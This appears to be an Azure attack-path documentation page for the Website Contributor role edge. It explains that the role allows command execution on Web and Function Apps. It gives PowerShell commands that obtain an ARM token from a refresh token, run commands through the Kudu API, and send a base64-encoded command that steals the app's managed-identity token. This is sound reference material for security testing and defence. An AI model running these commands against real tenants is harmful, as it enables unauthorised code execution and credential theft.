Edges
AZWebsiteContributor
The Website Contributor role grants full control of the target Function App or Web App. Full control of either of those types of resources allows for arbitrary command execution against the target resoruce.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
The Website Contributor role grants full control of the target Function App or Web App. Full control of either of those types of resources allows for arbitrary command execution against the target resoruce.
$ARMToken = Get-ARMTokenWithRefreshToken `
-RefreshToken "0.ARwA6WgJJ9X2qk..." `
-TenantID "contoso.onmicrosoft.com"
Invoke-AzureRMWebAppShellCommand `
-KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" `
-Token $ARMToken `
-Command "whoami"
PS C:\> $PowerShellCommand =
$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER}
$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers $headers
$response.RawContent
PS C:\> $base64Cmd = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PowerShellCommand))
PS C:\> $Command = "powershell -enc $($base64Cmd)"
PS C:\> Invoke-AzureRMWebAppShellCommand `
-KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" `
-token $ARMToken `
-Command $Command